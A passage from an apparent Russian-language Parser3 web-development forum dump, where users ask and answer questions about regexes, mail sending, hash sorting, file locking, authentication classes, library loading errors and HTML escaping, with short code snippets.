Средствами apache (и парсера) считать что-либо бессмысленно - реальный сетевой трафик за счет накладных расходов TCP/IP заметно выше, чем размер отдаваемых документов.\
\
Если есть возможность, правильнее дать каждому пользователю отдельный IP."
"30381","Есть html страница, обычная страница, со всей версткой от и до...\
(страница не valid-xml)\
\
[code]\
<html>\
...\
...\
...\
\
<input type=\"hidden\" name=\"target\" value=\"THEVALUE2004\"/>\
\
...\
...\
...\
</html>\
[/code]\
\
Хочу REGEXP выловить значение [b]THEVALUE2004[/b], не получается :(\
\
Заранее спасибо!"
"30382","а я в конфиге для каждого хоста добавлю специальный еще один формат лога:\
\
дата (большая точность не нужна) ip пришло ушло\
\
надо будет еще изучить что пишется в этот лог того, что учитывать будет ipfw по uid, но, чувстую, в этом направление есть решение..."
"30384","накладные расходы tcp - как раз хорошо что будут убиты и будет только размер реально отданных/полученных данных..."
"30385","Если это последняя версия спесты, то всё будет учитываться.\
\
Стоит блокировка, и она работает."
"30386","On some operating systems flock() is implemented at the process level. When using a multithreaded server API like ISAPI you may not be able to rely on flock() to protect files against other PHP scripts running in parallel threads of the same server instance! \
\
Автор Спесты учёл ненадёжность flockа и сделал гораздо более совершенный способ."
"30389","Вы хотите значение input'a \"вырезать\" из кода страницы, или получить его после отправки формы? При чем здесь valid-xml?"
"30391","есть код:\
index.html\
\
[code]<form method=\"POST\" action=\"/feedback/sendmail.html\">\
<i>Ваше имя:</i><br>\
<input type=\"text\" name=\"author\"><br>\
\
<i>Ваш E-mail:</i><br>\
<input type=\"text\" name=\"email\"><br>\
\
<i>Тема:</i><br>\
<input type=\"text\" name=\"subject\"><br>\
\
<i>Текст сообщения:</i><br>\
<textarea name=\"message\" rows=\"10\" cols=\"50\"></textarea><br>\
\
<input type=\"submit\" value=\"Отправить\">\
</form>[/code]\
\
sendmail.html:\
[code]\
@sendmail[]\
^mail:send[\
	$.from[$form:author <$form:email>]\
	$.to[<info@regionleasing.com>]\
	$.subject[$form:subject]\
	$.text[$form:message]\
][/code]\
\
якобы работает, но письмо не формируется, логи пустые...\
что не так?"
"30392","если не ошибаюсь, хитрыми функциями файл блокируется только на время чтения/записи, автор не блокирует файл на время манипуляции с данными (файла).\
\
При таком раскладе, три \"одновременно\" зашедших юзера с большой вероятностью увеличат значение счётчика всего лишь на один, а не на три, как скорее всего было задумано."
"30393","А как вы манипулируете данными, кроме чтения и записи?\
\
Каждый визитор будет записан в незанятый файл, это гарантируют манипуляции."
"30395","вообще-то в корне не так надо делать, но так будет работать\
[code]\
\
sendmail.html: \
\
\
^mail:send[\
	$.from[$form:author <$form:email>]\
	$.to[<info@regionleasing.com>]\
	$.subject[$form:subject]\
	$.text[$form:message]\
]\
\
[/code]"
"30396","имеется таблица:\
[code]\
CREATE TABLE `click` (\
  `id` int(11) NOT NULL auto_increment,\
  `asession_id` int(11) NOT NULL default '0',\
  `refer` varchar(255) NOT NULL default '',\
  `url` varchar(255) NOT NULL default '',\
  `result` varchar(255) NOT NULL default '',\
  `datetime` datetime NOT NULL default '0000-00-00 00:00:00',\
  PRIMARY KEY  (`id`),\
  KEY `linkto` (`url`(50))\
) TYPE=MyISAM COMMENT='лог кликов по ссылкам...' AUTO_INCREMENT=151 ;\
[/code]\
\
я из нее делаю выборку:\
[code]\
    $rate[^MAIN:pSQL.sql[hash]{\
      SELECT\
        url,\
        COUNT(*) as cnt\
      FROM\
        click  \
      GROUP BY\
        url\
      }\
    ]\
[/code]\
и вывожу таблицу результатов:\
[code]\
    $top[^rate._keys[url]]\
    <table align=\"center\">\
      ^top.menu{<tr><td>$top.url</td><td>$rate.[$top.url].cnt</td></tr>}\
    </table>\
[/code]\
\
Похоже, что выводится, как и задумывалось, таблица значений поля url и количество вхождений... как бы её теперь выводить в порядке убывания?\
на форуме довольно подробно обсуждалась как проблема невозможности сортировки хеша, так и невозможность получения таблицы из хеша, чтобы можно было отсортировать Парсером..."
"30397","Есть ли разница в производительности между такими кусками кода?\
[code]\
^if(^result.pos[\"] >= 0){\
   ...\
}\
[/code]\
\
[code]\
^if(^result.match[\"]){\
   ...\
}\
[/code]\
Или может второе правильнее записат так [i]^^[^^\"]*\"^$[/i]?"
"30398","Подскажите пожалуйста почему -\
При попытке отправить почту RostMaster возвращает DELIVERY FAILURE: \"MyBox@astd.ru is restricted from sending mail through server LNAST/AST\".\
Почтовый сервер - Lotus 5.0.9a. Другие пользователи отправляют нормально."
"30400","есть несколько форм, как вызвать нужную?\
<form name 1>\
<form name 2>\
\
$form:a"
"30401","Почему нельзя после чтения таблицы из файла изменить какой-то столбец нужной строки и затем записать в файл?\
Приходится удалять строку (что тоже не очень красиво реализуется), добавлять новую... морока!"
"30402","Получить в хеш, потом преобразовать в таблицу... А сразу в таблицу? А в запрос ORDER BY cnt и куда надо сортируем."
"30405","либо я что-то не так понял, либо пулучить такую штуку просто невозможно:\
допустим, есть файл index.html имеющий полный путь /one/two/index.html, как получить ТОЛЬКО /two/, т.е. вывести ее на экран.\
Есть ли такая команда?"
"30409","В определенной папке нужно проверять, есть ли в ней вложенная папка с нужным нам названиме, к примеру page2, page3, page4 и т. д. Если есть, то выводим 1, 2, 3, 4 и т. д. в зависимости от окончания названия папки. Это нужно для того, чтобы просто загрузить на сервер папку с названием страницы, а номер страницы на нее автоматически установился. Я не могу понять, как проверять именно на наличие папки?"
"30411","Помогите написать match, который должен выбирать самый внешний текст внутри кавычек для замены этих кавычек.\
\
Т.е мне надо, чтобы из строки [i]\"Люди \"умеют \"думать\", потому что\" у них есть голова\" и дальше \"\"идет много\" разных\" слов, но написанно это \"для примера\".[/i]\
\
Получилось такое:\
[i]|Люди \"умеют \"думать\", потому что\" у них есть голова| и дальше |\"идет много\" разных| слов, но написанно это |для примера|.[/i]\
\
Такое реально сделать? А то уже третьи сутки мучаюсь, а результата нету!"
"30412","Вы хотите удалять парные кавычки или всеже получать то что внутри них?"
"30414","В логах пишет вот так:\
\
\
[Sun Jun 13 20:05:13 2004] /gbook/: /home2/chbru/pizza/auto.p(14:2): '/www/cgi-bin/lib/libparser3mysql.so' can't open the module [<no type>]\
\
\
Что делать, или куда двигаться?\
\
Сам файл леит на месте. 100 раз проверял и закачивал заново."
"30415","ХЗ, у меня всё работает (3.1.1). может версия библиотеки не та? закачивал в binary?"
"30416","Тут прежде чем придумывать алгоритмы решения нужно ввести дополнительные условия.\
\
Возможны ли непарные кавычки?\
[i]\"Некий текст \"с непарными кавычками\"[/i]\
\
Или же всеже предполагается парность?\
[i]\"Некий текст \"с парными кавычками\"\"[/i]"
"30417","вот такую штуку подскажите:\
В базе есть разделы с несколькоими полями, одно из них - имя, я вывожу их с помощью меню, ставлю на них ссылку ?$file.name \
\
Имя файла - это имя директории на сервере, мне нужно вывести все файлы определенного раздела, т.е.  file:list, однако незнаю как передать параметры, я делал $request:query:\
[code]\
$file_list[^file:list[/$file.name/]]\
^if($request:query eq \"$fule.name\"){\
     $result[\
         ^file_list.menu{\
             ^file_list.name\
             }[<br />]         \
          ]\
     } \
[/code]\
эт все работает, но мне нужно, чтобы была еще и форма, возле каждого $file_list.name'a чекбокс, по которому удаляется выбранный файл. Ставлю форму, ни ответа ни привета. Что желать?"
"30418","простите за ошибку в коде, торопился, а в форуме не удобно писать.\
[code]$fule.name[/code] следует читать, как [code]$file.name[/code] ))"
"30419","тебе радио-кнопки или чекбокс надо?\
и то и другое здесь уже оговаривалось и вроде даже не один раз.\
а по ним искать, ИМХО, можно - просто ставить каждому файлу в списке номер его вхождения в таблицу списка и потом смещать \"курсор/указатель\" на эту позицию.\
\
имхо так:\
1 выбор каталога с файлами\
2 выборка файлом по маске\
2.1 пометка/выборка из полученного списка нужных файлов"
"30420","Можно ли как-то заблокировать файл от доступа обычных пользователей, а затем при выполнении какой-либо функции он разблокировался, чтобы я смог взять из него данные, а после выполнения снова блокировался?"
"30422","Нужно знать: что за файл? цель такого сокрытия? что означает слово \"блокировка\"? как файл будет узнавать что вы это вы? Иными словами сформулируйте задачу - решение вполне может прийти само собой."
"30423","Это простой txt-файл в котором хранится любой текст. Я не хочу чтобы этот текст был доступен кому-либо. Но мне нужно извлечь тот текст который находится в том файле, и чтобы затем он также стал недоступен другим. Можно ли это вообще сделать?"
"30427","Делаю выборку из БД (select-ом). БД в формате tabbed text. Пока она небольшая - килобайт 50. Будет ли по-прежнему быстро работать выборка из этой таблицы, если размер файла увеличится (ну максимум до 1,5 Мб) - или набо будет переходить на SQL???."
"30428","50 KB ?? уже надо.."
"30429","[b]1)[/b] в методе @main[]:\
при [i]получении списока последних новостей или новостей за указанный период[/i] $.article_type_id(1), а при [i]доставании и выводе новости с выбранным id[/i] $.article_type_id не задан => 0. Получаем 404 ошибку ;)\
\
[b]2)[/b] метод @printTitle как таковой ничего не делает ;), просто убирает квадратные скобки - класс! А должен ставить ссылку...\
\
Получается нужно так:\
[code]\
@printArticles[article]\
<ul>\
^untaint[as-is]{\
	^article.menu{\
		<li><b>^dtf:format[%d.%m.%Y;$article.dt]</b>\
		^printTitle[$article.id;$article.title]\
		<br />$article.lead</li>\
	}\
}\
</ul>\
#end @printArticles[]\
\
\
@printTitle[id;title]\
^if(def $title && ^title.match[\\^[([^^\\^]]+)\\^]]){\
	$result[^title.match[\\^[([^^\\^]]+)\\^]][g]{<a href=\"?id=$id\">$match.1</a>}]\
}{\
	$result[<a href=\"?id=$article.id\">$title</a>]\
}\
#end @printTitle[]\
[/code]"
"30432","Я не имею возможность пользоваться SQL."
"30434","А без установки прав это можно сделать?"
"30435","Это смотря от кого вы хотите защитить файл и как сами хотите получать к нему доступ."
"30436","Я его использую для аутентификации. То есть в нем будет лежать закриптованый пароль. Затем когда я, например, вхожу в панель администратора, то я ввожу пароль, этот пароль криптуется и далле сравнивается с тем что лежит в этом файле. И я хочу, чтобы этот файл с паролем был недоступен рядовым пользователям."
"30437","А чем в таком случае не устраивает изменение прав на файл?"
"30440","Из скрипта в него будет доступ, а напрямую нет. Тем более если у вас файлик с расширением *.cfg и в htacess прописаны соответствующие строки, то его даже в веб-пространстве никто подглядеть не сможет."
"30442","Можно ли как-то удалить куки, до срока их истечения?"
"30443","Интересен один момент...\
Код:\
\
	<xsl:template match=\"Phone\">\
		<xsl:value-of select=\"@description\"/>\
		<xsl:text>:  </xsl:text>\
		<xsl:value-of select=\".\"/>\
		<p/>\
			<xsl:value-of select=\"@time\"/>\
	</xsl:template>\
\
Выдает результат:\
\
сот.: 8-999-999-99-99<p></p>c 21:00\
дом.: 99-99-99<p></p>c 18:00 до 19:00<u>\
\
Почему вписывается такая конструкция <p></p>?"
"30445","Поставите xml - будет сворачивать."
"30446","спешно вновил правки после проверки и наворотил ошибок."
"30447","Появляется другая проблема, вставляется в код строка \
<?xml version=\"1.0\" encoding=\"WINDOWS-1251\"?>"
"30448","По хорошему надо и DOCTYPE прописывать.\
\
И по коду: неправильно это - <p>-разделитель. <p> - контейнер.\
правильней будет сделать <p>телефон</p><p>время</p>"
"30449","Извините, но я не нашел, можете дать прямую ссылку на тот тред."
"30451","Спасибо! Нашел : http://www.parser.ru/forum/?id=7435"
"30453","его задача обработать заголовок. Приведенный пример \"улучшения\" ужасен, так как он вводит дублирование."
"30454","Конструкцию с <p/> я привел совершенно случайно. Я использую <br/>.\
Так что мне сделать, чтобы не выводился:\
<?xml version=\"1.0\" encoding=\"windows-1251\"?> и <br></br>?"
"30458","в parser под win32 используется _locking"
"30459","в сомнительных случаях не пишите в форум, не надо.\
почитайте http://www.parser.ru/docs/lang/statusrusage.htm и воспользуйтесь готовым куском кода.\
\
мы так всегда делаем."
"30460","которая возващает вам письмо."
"30461","искать \
[code]\
\"…\"…\"…\"…\"…\"\
[/code]\
и заменять на\
[code]\
\"…и на что-то там внутри \"\
[/code]\
\
потом \
[code]\
\"…\"…\"…\"\
[/code]\
\
?"
"30462","PCRE библиотека, используемая в Parser, уже некоторое время, как умеет работать с рекурсивными регулярными выражениями.\
\
если вам очень нужно, можете собрать parser из исходников, заменив пару файликов[pcre.*] на новые, расскажите потом о впечатлении."
"30463","1. как известно, человек только предполагает, а располагает кто-то другой.\
\
2. обычно программистские ожидания принято умножать на три.\
\
3. само по себе очень полезно и облегчит вам самому жизнь безотносительно к объёмам."
"30464","[quote]Ещё обратите внимание на конструкции с match. Они нужны для того, чтобы ссылки можно было ставить [b]не только со всего заголовка новости, а с его части[/b], обозначенной символами '[' и ']'.[/quote]"
"30465","В этом и проблема. Нет возможности собрать парсер из исходников... Обидно!"
"30466","Где о них можно прочесть?"
"30467","но выполняется в любом вложенном каталоге. Один и тот же скрипт... :( Может кто сталкивался? Парсер пишет ошибку:\
\
'MAIN' method_frame may not be overwritten with date, store it to variable instead [parser.runtime]\
\
а скрипт выглядит так:\
\
$date[^date::now[]]\
$date\
\
Это проверочный скрипт, но и все другие порождают подобную ошибку..."
"30468","А в этом вы пытаетесь вывести объект типа \"дата\". Его можно преобразовать в текст или собственным методом, или же, в некоторых случаях, пользоваться методом sql-string объекта date."
"30469","Здесь я действительно чушь написал, но это от большной головы под вечер. А реально ситуация выглядит так: беру любой, заведомо рабочий скрипт из подкаталога и перемещаю в корень. Пути все - абсолютные. А не работает!"
"30470","$date[^date::now[]]\
$date.year"
"30471","Так вот. Мы подбираемся к самой сути. Такая конструкция работает. Если теперь я перемещу это все в auto.p в корне web-пространства и буду вызывать из файла, расположенного там же, будет вываливаться вышеуказанная ошибка."
"30473","@page[]\
<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\"\
\"http://www.w3.org/TR/html4/loose.dtd\">\
<html>\
<head>\
<title>^title[]$title</title>\
<meta http-equiv=\"Content-Type\" content=\"text/html^; charset=windows-1251\">\
</head>\
^menu[]\
$body\
^menu[]\
\
# menu\
@menu[]\
<a href=\"/info/\">INFO</a>&nbsp^;|&nbsp^;<a href=\"/gallery/\">GALLERY</a>&nbsp^;|&nbsp^;<a href=\"/links/\">LINKS</a>&nbsp^;|&nbsp^;<a href=\"/guestbook/\">GUESTBOOK</a>\
\
#title\
@title[]\
$pages[^table::load[/pages.dat]]\
^if(^pages.locate[URI;$request:uri]){\
	$title[$pages.EQ]	\
}\
\
Вызов из страничек происходит так:\
\
$body[\
...тело странички...\
]\
^page[]"
"30475","[code]\
#######\
# Достаем информацию для отображения календаря\
@getCalendar[lparams][params]\
$params[^hash::create[$lparams]]\
$result[^MAIN:pSQL.sql[table]{\
	SELECT\
		^MAIN:pSQL.month[dt] AS month,\
		^MAIN:pSQL.year[dt] AS year\
	FROM\
		news\
	WHERE\
		is_published = 1 AND\
		dt_published <= ^MAIN:pSQL.now[]\
	GROUP BY\
		year DESC,\
		month DESC\
}]\
#end @getCalendar[]\
\
@printCalendar[calendar][now;curr_year;curr_month;y_hash;ym_hash;i;m]\
^if($calendar){\
	$now[^date::now[]]\
	$curr_year(^form:year.int(^dtf:format[%Y]))\
	$curr_month(^form:month.int(^dtf:format[%m]))\
\
	^calendar.offset(-1)\
	$min_year($calendar.year)\
	$min_month($calendar.month)\
\
	$y_hash[^calendar.hash[year;year][$.distinct(1)]]\
	$ym_hash[^calendar.hash{^calendar.year.format[%04d]=^calendar.month.format[%02d]}[month][$.distinct(1)]]\
	$year[^y_hash._keys[]]\
	^year.sort($year.key)[desc]\
\
	<table border=\"1\" align=\"right\">\
	<tr valign=\"top\">\
		<td>\
			^year.menu{\
				<b>^if($year.key == $curr_year){\
					$year.key /&nbsp^;\
				}{\
					^rem{ *** если кликнем в год, по попадем на последний месяц года, \
						за который у нас есть новости *** }\
					^if(^calendar.locate[year;$year.key]){}\
					<a href=\"?year=$year.key&month=$calendar.month\">$year.key</a>\
				}\
				</b><br />\
			}\
		</td>\
		<td>\
			^if(^year.locate[key;$curr_year]){}\
#			^year.menu{\
#				^if($year.key == $curr_year){\
					^for[i](0;11){\
						$m(12-$i)\
						^if(def $form:month && $m == $curr_month){\
							<b>$dtf:[ri-locale].month.$m</b><br />\
						}{\
							^if(!($now.year == $year.key && $m > $now.month) && !($year.key == $min_year && $m < $min_month)){\
								^if($ym_hash.[^year.key.format[%04d]=^m.format[%02d]]){\
									<a href=\"?year=$year.key&month=$m\">$dtf:[ri-locale].month.$m</a>\
								}{\
									$dtf:[ri-locale].month.$m\
								}\
								<br />\
							}\
						}\
					}\
#				}\
#			}\
		</td>\
	</tr>\
	</table>\
}\
#end @printCalendar[]\
[/code]\
\
Так будет правильнее?"
"30477","Есть код:\
\
@auto[]\
$connect_string[mysql://root@localhost/logosite]\
\
@main[]\
\
#проверка на залогиненность\
@isLogged[]\
#есть ли кука c сессией?\
^if(def $cookie:companyclient){\
	^connect[$connect_string]{\
    	$login_info[^table::sql{select * from client}]\
	}\
         Е \
	^if(^login_info.locate[session;$cookie:companyclient]){\
		1\
	}{\
		0\
	}\
}{\
	0\
}\
\
\
\
@loginform[]\
<table width=\"100%\" height=\"100%\" border=0><tr><td align=center>\
^if(def $form:login || def $form:passwd){\
   ^connect[$connect_string]{\
      $login_info[^table::sql{select * from client}]\
   }\
   ^if(^login_info.locate[login;$form:login]){\
		^if($login_info.passwd eq $form:passwd){\
			$sessID[^math:uid64[]^math:uid64[]]\
			$date_now[^date::now[]]\
			$cookie:companyclient[\
				$.value[$sessID]\
				$.expires[session]\
			]\
			^connect[$connect_string]{\
      			$login_info[^table::sql{UPDATE client SET session = '$sessID', last_time = '^date_now.sql-string[]', last_date = '^date_now.sql-string[]'  WHERE login = '$form:login'}]\
   			}\
		}{нет тута таких}\
   }{нет тута таких}\
}	\
\
\
\
\
<form method=\"post\">\
	<table border=0 cellpadding=\"0\" cellspacing=\"0\">\
		<tr>\
			<td align=right>Имя пользователя:&nbsp;&nbsp;</td>\
			<td><input type=\"text\" name=\"login\" maxlength=\"40\"></td>\
		</tr>\
		<tr>\
			<td align=right>Пароль:&nbsp;&nbsp;</td>\
			<td><input type=\"password\" name=\"passwd\" maxlength=\"40\"></td>\
		</tr>\
		<tr><td align=right colspan=3><input type=\"submit\" name=\"posted\" value=\"Войти\"></td></tr>\
	</table>\
</form>\
</td></tr></table>\
\
\
@page[]\
^if(^isLogged[]){[b]logged[/b]}{^loginform[]}\
\
\
\
-----------------------------------------------------------------------------\
В index.html вызывается ^page[]\
\
если я залогинился, то грузится форма логина, а \"logged\" грузится только после 2-го нажатия кнопки или после рефреша\
\
Вопрос 1: почему так?\
Вопрос 2: как это исправить?"
"30478","спасибо, отвечать уже не надо"
"30479","Вот и мне интересно, при чем тут MAIN? У меня три сайта работают великолепно, о main даже не подозревают... Мне кажется, что завязка лежит на уровне путей или еще чего-то близкого, поскольку я пытаюсь запустить скрипт из корня субдомена. А вот в чем именно затык - никак не пойму..."
"30480","[code]\
Вызов из страничек происходит так:\
\
$body[\
...тело странички...\
]\
^page[]\
[/code]"
"30481","новый файл index.html и в нем приведенный код... что не так-то?\
\
если бы это было в корневом auto.p то ругань была-бы для любых страниц. \
\
P.S. может вы сами процитируете абзац документации к которой вы отправляли автора треда? ;)"
"30482","Здравствуйте\
\
Помогите пожалуйста разобраться. Появилась необходимость выводить список последних изменявшихся документов.\
Есть файл, в котором все URI, title, etc и есть такой код\
\
[code]\
@last-modified-files[]\
#	Загружаем в таблицу файл, где все URI\
$allURI[^table::load[/sections.dat]]\
\
#	Сортируем по 'uri'\
^allURI.sort{$allURI.uri}[asc]\
\
#	Создаем таблицу в кот. URI '/somedir/' заменяются на '/somedir/index.html'\
#	с тем, чтобы можно было поиметь доступ к свойствам и этих документов тоже\
$AllPathInfo[^table::create{id	path	uri	title\
^allURI.menu{$allURI.id	^if(^allURI.uri.pos[.html] > 0){$allURI.uri}{${allURI.uri}index.html}	$allURI.uri	$allURI.title\
}}\
]\
\
#	Создаем таблицу в которой пытаемся перебирать документы из предыдущей таблицы\
#	получать время их последней модификации и создавать объект класса date\
$AllFilesProperties[^table::create{id	flastmodified	uri	title\
^AllPathInfo.menu{$AllPathInfo.id	$ThisFileProperties[^file::stat[$AllPathInfo.path]]$ThisFileLastMod[^date::create(${ThisFileProperties.mdate.year};${ThisFileProperties.mdate.month};${ThisFileProperties.mdate.day};${ThisFileProperties.mdate.hour};${ThisFileProperties.mdate.minute};${ThisFileProperties.mdate.second})]$ThisFileLastMod	$AllPathInfo.uri	$AllPathInfo.title\
}}\
]\
\
#	Сортировка по дате\
#	и выбор первых N строк\
^AllFilesProperties.sort{$AllFilesProperties.flastmodified}[desc]\
$AllFilesProperties_limited[^AllFilesProperties.select(^AllFilesProperties.line[] <= 10)]\
\
#	Выводим последние измененные документы\
^AllFilesProperties_limited.menu{\
${AllFilesProperties_limited.id}.\
<a href=\"$AllFilesProperties_limited.uri\">$AllFilesProperties_limited.title</a>\
^dtf:format[%d %h %Y;$AllFilesProperties_limited.flastmodified;$dtf:rr-locale]<br>\
}\
[/code]\
\
вызов приводит к \
\
[b]date[/b]\
date may not be overwritten with date (date), store it to variable instead\
z:/home/.../classes/add.p(191:71) \
\
(add.p(191:71) это\
[code]\
^AllPathInfo.menu{$AllPathInfo.id	$ThisFileProperties[^file::stat[\
[/code]\
)\
\
Спасибо пребольшое"
"30483","или достаточно двух-трёх уровней вложенности?\
\
если достаточно,\
http://www.parser.ru/forum/?id=30461\
\
если самоцель, то."
"30484","больше деталей?\
структура каталогов, содержимое файлов=?"
"30486","/\
/gallery/\
/info/\
/guestbook/\
\
где / - это $HOME/lightwave/, оно же www.lightwave3d.adept.ru\
\
в /gallery/ или /info/ скрипт работает, а в / - нет. auto.p лежит в /"
"30487","Подскажите пожалуйста, почему всётаки может выдаваться эта ошибка:\
driver failed to initialize client library '/cgi-bin/mysql/libmysqlclient.so.12', can not open the dynamic link module /cgi-bin/lib/libparser3mysql.so\
libmysqlclient этот и рядом клали, и разные версии пробовали.. \
Всё одно и тоже..\
В чём может быть проблема?"
"30488","Собрался перекрыть метод @htmlFormLogon. Создал файл myauth.p\
@CLASS\
myauth\
\
@USE\
auth.p\
\
@BASE\
auth\
\
@htmlFormLogon[]\
...\
\
Достаточно ли этого?\
У меня не получилось подключить мой класс.\
Если я в своем коде пишу	$auth_data[^myauth::init[$cookie:CLASS;$form:fields;$.csql[$MAIN:pSQL]]]\
вместо\
$auth_data[^auth::init[$cookie:CLASS;$form:fields;$.csql[$MAIN:pSQL]]]\
то получаю ошибку:\
constructor must be declared in class 'myauth'\
\
Надо ли переопределять init[] или его можно как-то вызвать из базового класса?"
"30489","[code]\
@init[icookie_data;ilogon_data;iparams]\
^BASE:init[$icookie_data;$ilogon_data;$iparams]\
[/code]"
"30490","если вы хотите сказать, что в parser bug, пришлите bug.zip\
\
если вы хотите сказать, что не понимаете, что происходит, и хотели бы разобраться, то разберитесь, потом нам расскажете."
"30491","вы пишете виртуальные."
"30492","Я бы рад разобраться, но все мои эксперименты ни чем не закончились. Что должно быть в bug.zip?"
"30493","Нет, и так и так пробовали. \
В оригинале было примерно так:\
/opt/hosting/site.ru/cgi-bin/mysql/libmysqlclient.so"
"30495","называется на диске иначе. часто он называется cgi или vcgi.\
\
если ничего не поможет, положите в cgi-bin файл test.cgi\
внутри которого напишите:\
[code]\
#!/bin/sh\
echo content-type:text/plain\
echo\
ls -la /opt/hosting/site.ru/cgi-bin/mysql/libmysqlclient.so 2>&1\
echo done\
[/code]\
\
разрешите его на исполнение, обратитесь к\
http://site.ru/cgi-bin/test.cgi\
\
и скажите, что скажет"
"30496","в хэше нет сортировки и строго определенного порядка вывода элементов. Тут как раз налицо отсутствие полноты в некоторых языковых конструкциях. Возможно это сделано из-за каких-то соображений (не)эффективности."
"30497","parser3odbc.dll был не установлен!"
"30499","Ничего путного про сабж на форуме не нашел. Если кто сам чего мастерить пробовал - поделитись опытом... Может сообща сделаем? Вещь то нужная, сами понимаете..."
"30500","Как-нибудь на досуге попробую еще разок - там очень неочевидно все - надо писать кучу кода на C, времени на это просто нету... А приличных готовых исходников некоторое время назад не было."
"30501","Друзья, если оффтоп, то сорри.\
Однако оно нужно. На парсере3. \
Разумная неограниченность подкатегорий, оформление заказа несколькими путями -- с доставками, без, разные валюты, желательна лёгкая смена дизайна, в общем всё, что нужно в нормальном магазине.\
Предложения в мыло."
"30502","1. из getCalendar выкидывать article_type_id = ^params.article_type_id.int(0) AND по низя.\
\
2. угу, именно так."
"30503","[code]^if(!($now.year == $year.key && $m > $now.month) && !($year.key == $min_year && $m < $min_month)){[/code]\
\
А это? Помойму правильнее будет вести тсчет с перого месяца за который у нас есть новость. Хотя... дело вкуса"
"30506","я сделал у себя так:\
\
[code]\
@header[][cr]\
  ^use[dtf.p]  \
  $cr[^date::now(-1)] \
  $response:Last-modified[^dtf:format[%A, %d %h %Y 19:44:37 GMT;$cr;$dtf:es-locale]]\
[/code]\
\
это уже считается, что \"админы сайта не ленятся\" или еще нет?"
"30510","Возможно я где-то не там смотрю, но \
[code]$response:Last-modified[$dateObject][/code]\
в *.chm доке я не нашел, равно как и не нашел в html версии. Если намек был про другую доку, то можно было об этом и намекнуть.\
\
Есть небольшое дополнение, обновите дату последнего изменения в chm версии доки. А то разница между 3.1 и 3.1.3 есть, а определить это кроме как по дате обновления никак нельзя. А еще лучше и в заголовок это вписать."
"30511","появилось ещё в 3.0006:\
[quot]\
[16 декабря 2002]\
...\
Появилась возможность задавать даты в [url=\"/docs/lang/responsefields.htm\"]response полях[/url].\
...\
[/quot]\
"
"30514","Каким-то образом parser умудряется считывать не только auto.p из субдомена, но и auto.p из соседнего каталога. При пересечении имен и возникает такая шелуха.\
То есть, он считывает auto.p из трех мест\
\
$HOME/cgi-bin/ - там он сам находится.\
$HOME/lightwave/ - там находится скрипт и auto.p\
$HOME/htdocs/ - там находится совсем другой сайт со своим auto.p"
"30515","Необходимо чтобы строка записывалась в HTML файл. \
Есть конструкция типа ^string.save[$form:filename]\
В форме указано только название файла, без расширения.\
Если пишу ^string.save[$form:filename.html], то естествено появляется   ошибка, ибо формы с таким названием не существует. Пробовал раные конструкцииб работает только постановка любого символа перед точкой. Но этот вариант меня не устраивает. Есть ли какоё-нибудь другой способ?"
"30516","Что-нибудь вроде ${name}.gif"
"30518","Друзья, если у вас нет готового решения, но вы готовы это дело запрограммить -- я тоже готов беседовать. \
Проектов может быть потом много и разных. Удалённый программер на парсере будет нужен всегда. \
На данный момент задача не столь сложна: каталог мебели с ценами и возможностью оформить заказ на сайте. Далее, для других намеченных проектов нужна будет поддержка всяких интернет-денег и прочего счастья.\
Пишите бочками, друзья, пишите."
"30520","тогда мне надо будет дату креатить из строки и потом подставлять - не хочу, чтобы на каждое обращение выдавало новое значение..."
"30521","Вот делаю внутренний сайт. Прикрутил авторизацию из примеров. Вроде примеры работают. Как лучше сделать чтобы при обращении к любой странице проверялась авторизация? Подскажите кто как делает?"
"30522","с parser.ru не загружает, а с www.parser.ru загружает...\
\
кроме того, при попытке добавить комментарий в html доке выдало:\
[quote]Документ http://www.parser.ru/docs/comment.html не найден.[/quote]"
"30523","тогда\
[code]\
  ^if($auth_data.is_logon){\
    Welcome\
  }{\
    Надо ввести имя и пароль сначала...\
  }\
[/code]"
"30524","Ды это писать на каждой странице или можно как-то это по другому?\
Я сейчас пишу на каждой но думаю есть способ сделать это универсально!"
"30526","типа:\
[code]\
@main[]\
  $MAIN:pSQL[^mysql::init[$SQL.connect-string;debug]]\
  ^MAIN:pSQL.server{\
    ^header[]\
    ^body[]\
    ^footer[]\
  }\
[/code]\
ну и разрешите, например, шапку и подвал показывать всем, а на тело требовать залогиненость:\
[code]\
@main[]\
  $MAIN:pSQL[^mysql::init[$SQL.connect-string;debug]]\
  ^MAIN:pSQL.server{\
    $auth_data[^auth::init[$cookie:CLASS;$form:fields;$.csql[$MAIN:pSQL]]]\
    ^header[]\
    ^if($auth_data.is_logon){\
      ^body[]\
    }{\
      ^moroz[]\
    }\
    ^footer[]\
  }\
\
@moroz[]\
#тут нарисуете че хотите, например структуру, как в body, но со словами НЕЛЬЗЯ\
  Надо ввести логин и пароль сначала...\
[/code]"
"30527","Вот если бы в хеше можно было использовать числа как ключи, и с помощью новых опиций/операторов выводить и сортировать их как положено."
"30529","В логе пишется:\
\
[Thu Jun 17 13:41:51 2004] [error] [client 192.168.1.111] Premature end of script headers: /apache/cgi-bin/parser3.exe\
[Thu Jun 17 13:41:51 2004] [error] [client 192.168.1.111] \
\
[Thu Jun 17 13:41:51 2004] [error] [client 192.168.1.111] This application has requested the Runtime to terminate it in an unusual way.\
\
[Thu Jun 17 13:41:51 2004] [error] [client 192.168.1.111] Please contact the application's support team for more information.\
\
что это может значить? Причем возникает случайно, через раз, или через 2"
"30530","подобное, только под линуксом. Вылечилось только переходом на 3.1.3"
"30532","Проблема:\
при передаче параметров из формы на заскриптованную парсером страницу\
русские буквы кодируются, не смотря на тэги определения кодировки.\
В таком виде попадают в базу.\
Работаю на последней версии Денвера."
"30533","Не знаю точно, возможно с помощью ^taint или ^untaint."
"30534","Будет ли поддержка XSLT 2.0 в Парсере и когда?"
"30535","если не вы, то воспользуйтесь поиском по форуму."
"30536","${$form.filename}.html\
Выдаётся ошибка требующая скобку после ${$,\
тоже самое и с\
@name[$form.filename]\
^name[].html"
"30537","Я не совсем это имел ввиду.\
\
$name[$form:filename]\
${name}.html"
"30538","Я знаю, что Парсер считает данные из MySQL \"грязными\" и автоматически экранирует кавычки, заменяет угловые скобки на HTML-эквиваленты &lt; &gt; С точки зрения безопасности это правильно. (-;\
Но я хочу, чтобы тэги обрабатывались браузером, поскольку кроме меня никто в БД добавлять (если не взломает) ничего не будет.\
\
Вопрос: есть ли путь обойти &gt; и т.п. ?"
"30539","я понял так но оно не работает\
\
@todays_inscription[]\
$current[^table::load[/3_new.cfg]]\
$current.id[2]<BR>            \
$current.title<BR>\
$current.description <BR>"
